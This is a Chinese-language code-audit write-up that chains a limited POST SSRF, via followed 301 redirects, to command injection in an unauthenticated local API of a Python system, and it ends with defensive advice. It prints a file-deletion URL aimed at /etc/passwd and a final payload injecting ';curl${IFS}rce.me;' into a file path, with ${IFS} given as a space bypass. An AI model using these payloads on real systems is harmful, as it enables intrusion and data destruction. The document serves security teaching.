记一次从鸡肋SSRF到RCE的代码审计过程
字数 1078 2025-08-05 08:19:04
从SSRF到RCE的代码审计与利用教学文档
0x01 漏洞背景与初始发现
漏洞环境
- 目标系统:某Python开发的系统
- 功能点:系统升级功能允许配置自定义站点
- 触发方式:点击升级按钮后向特定路由发送文件
初始SSRF漏洞
- 类型:POST型SSRF
- 限制:
- 路由不可控(固定)
- 参数不可控(固定)
- 利用点:
_update参数从用户自定义配置中获取- 与固定
route变量拼接形成最终URL - 使用Python的
requests模块发送请求
SSRF升级技巧
利用requests模块特性:
- 默认跟随30X状态码跳转
- 可将POST型不可控SSRF转为GET型可控SSRF
0x02 系统架构分析与攻击面扩展
系统分层架构
应用层(有鉴权)
↓
服务层(无鉴权,通过API调用)
攻击思路
- 利用SSRF攻击本地服务层API
- 寻找服务层GET型路由漏洞
- 结合多个漏洞点实现RCE
发现的服务层漏洞点
- 路由:
/api/doc - 参数:
doc_file_path可控 - 漏洞模式:
cmd = 'rm -f ' + doc_file_path # 命令拼接
前置条件分析
- 需要目标文件存在
- 文件上传功能分析:
- 使用
mkstemp创建临时文件 - 特点:
- 文件名随机
- 不会自动删除
- 后缀可控
- 限制:文件名不可控
- 使用
初始利用方式
- 任意文件删除:
http://127.0.0.1:8848/api/doc?doc_file_path=/etc/passwd
0x03 突破限制实现RCE
关键发现
找到另一处文件上传功能:
- 参数:
file_pre(源文件名)可控 - 文件命名规则:
{file_pre}_{timestamp}.txt - 存储路径已知
利用条件
- 文件名中可插入特殊字符(如
;) - 可预测/获取完整文件路径
- 系统允许在文件名中使用命令分隔符
命令注入技巧
- 使用分号
;分隔命令 - 空格绕过:
${IFS} - 注意:
${和;都是Unix系统允许的文件名字符
0x04 完整利用链构建
漏洞链
不可控POST型SSRF
↓
利用30X跳转转为可控GET型SSRF
↓
攻击无鉴权的服务层API
↓
结合可控文件名的上传功能
↓
实现命令注入RCE
最终Payload构造
http://127.0.0.1:8848/api/doc?doc_file_path=/opt/work/files/target_file/admin/;curl${IFS}rce.me;_1623123227304.txt
攻击步骤
- 配置恶意升级URL(指向301跳转)
- 跳转目标为上述Payload URL
- 用户点击升级按钮触发漏洞
0x05 防御建议
针对SSRF
- 禁用不必要的URL跳转
- 对
requests请求设置allow_redirects=False - 限制可访问的URL范围(白名单)
针对命令注入
- 避免直接拼接用户输入到命令中
- 使用
subprocess的安全调用方式 - 对文件名进行严格过滤
系统架构安全
- 服务层API应增加鉴权
- 最小权限原则运行服务
- 关键操作增加审计日志
0x06 总结
本案例展示了如何通过深入代码审计,将看似鸡肋的SSRF漏洞与其他漏洞结合,最终实现RCE的过程。关键在于:
- 理解系统架构和组件交互方式
- 利用中间件特性(如requests的跳转)
- 寻找多个漏洞点的串联可能性
- 突破看似不可控的限制条件